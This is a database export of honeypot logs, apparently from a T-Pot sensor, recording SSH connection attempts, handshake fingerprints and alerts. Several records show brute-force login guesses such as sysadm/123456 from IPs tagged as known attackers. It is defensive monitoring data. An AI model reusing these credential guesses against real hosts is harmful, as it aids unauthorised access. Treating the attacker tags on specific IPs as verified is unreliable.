28283	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:16:35.261097+03	2021-09-20 14:30:02.626553+03	{"_id": "FwbsAnwBvYTbRNuEBy3I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1066766487971392, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52482, "dest_port": 22, "timestamp": "2021-09-20T11:16:35.261097Z", "@timestamp": "2021-09-20T11:16:35.261Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28284	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:35.261355+03	2021-09-20 14:30:02.628525+03	{"_id": "GAbsAnwBvYTbRNuECS0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52482, "timestamp": "2021-09-20T11:16:35.261355", "@timestamp": "2021-09-20T11:16:35.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28285	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:34.987293+03	2021-09-20 14:30:02.629555+03	{"_id": "HAbsAnwBvYTbRNuECS3k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:52482 (192.168.176.2:22) [session: de0b4293f12e]", "session": "de0b4293f12e", "@version": "1", "protocol": "ssh", "src_port": 52482, "dest_port": 22, "timestamp": "2021-09-20T11:16:34.987293Z", "@timestamp": "2021-09-20T11:16:34.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28286	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:16:34.884508+03	2021-09-20 14:30:02.630554+03	{"_id": "HwbsAnwBvYTbRNuECS3k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [bc/bc] failed", "session": "b05ac15b10b2", "@version": "1", "password": "bc", "username": "bc", "timestamp": "2021-09-20T11:16:34.884508Z", "@timestamp": "2021-09-20T11:16:34.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28287	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:16:37.567133+03	2021-09-20 14:30:02.631554+03	{"_id": "MwbsAnwBvYTbRNuEEy2C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:37.221145+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 293}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 654666523566041, "payload": "U1NILTIuMC1saWJzc2gtMC42LjMK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42700, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:37.567133Z", "@timestamp": "2021-09-20T11:16:37.567Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh-0.6.3\\n"}}	1	\N	\N	alert	known attacker	\N
28288	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:37.564819+03	2021-09-20 14:30:02.633556+03	{"_id": "NgbsAnwBvYTbRNuEFC3G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34998, "dest_port": 443, "timestamp": "2021-09-20T11:16:37.564819", "@timestamp": "2021-09-20T11:16:37.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28289	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:16:44.781233+03	2021-09-20 14:30:02.635554+03	{"_id": "bQbsAnwBvYTbRNuELi3f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:44.701080+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1804644017549976, "payload": "AAADzAYU88THrxWIyYSfy8G/hifymwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41614, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:44.781233Z", "@timestamp": "2021-09-20T11:16:44.781Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................'.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28290	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:44.912474+03	2021-09-20 14:30:02.636554+03	{"_id": "bwbsAnwBvYTbRNuEMC0j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36112, "timestamp": "2021-09-20T11:16:44.912474", "@timestamp": "2021-09-20T11:16:44.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28291	81.70.175.230	109.199.241.180	Fatt	2021-09-20 14:16:45.185409+03	2021-09-20 14:30:02.637553+03	{"_id": "cgbsAnwBvYTbRNuEMC0j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36112, "dest_port": 22, "timestamp": "2021-09-20T11:16:45.185409", "@timestamp": "2021-09-20T11:16:45.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28292	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:16:44.908637+03	2021-09-20 14:30:02.638554+03	{"_id": "dgbsAnwBvYTbRNuEMC37", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:36112 (192.168.176.2:22) [session: 6ff31e874f87]", "session": "6ff31e874f87", "@version": "1", "protocol": "ssh", "src_port": 36112, "dest_port": 22, "timestamp": "2021-09-20T11:16:44.908637Z", "@timestamp": "2021-09-20T11:16:44.908Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28293	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:16:45.032089+03	2021-09-20 14:30:02.639553+03	{"_id": "dQbsAnwBvYTbRNuEMC36", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [sysadm/123456] failed", "session": "ec3b1abeaf3d", "@version": "1", "password": "123456", "username": "sysadm", "timestamp": "2021-09-20T11:16:45.032089Z", "@timestamp": "2021-09-20T11:16:45.032Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28294	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:16:46.07497+03	2021-09-20 14:30:02.641555+03	{"_id": "eAbsAnwBvYTbRNuENC3j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ec3b1abeaf3d", "@version": "1", "duration": 1.3312604427337646, "timestamp": "2021-09-20T11:16:46.074970Z", "@timestamp": "2021-09-20T11:16:46.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28295	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:16:44.74102+03	2021-09-20 14:30:02.642553+03	{"_id": "XQbsAnwBvYTbRNuELS0Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:41614 (192.168.176.2:22) [session: ec3b1abeaf3d]", "session": "ec3b1abeaf3d", "@version": "1", "protocol": "ssh", "src_port": 41614, "dest_port": 22, "timestamp": "2021-09-20T11:16:44.741020Z", "@timestamp": "2021-09-20T11:16:44.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28296	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:44.129295+03	2021-09-20 14:30:02.643523+03	{"_id": "aQbsAnwBvYTbRNuELS0R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "5a02d6f2dd58", "@version": "1", "duration": 4.093595504760742, "timestamp": "2021-09-20T11:16:44.129295Z", "@timestamp": "2021-09-20T11:16:44.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28297	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:16:44.135446+03	2021-09-20 14:30:02.644553+03	{"_id": "ZQbsAnwBvYTbRNuELS0Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", 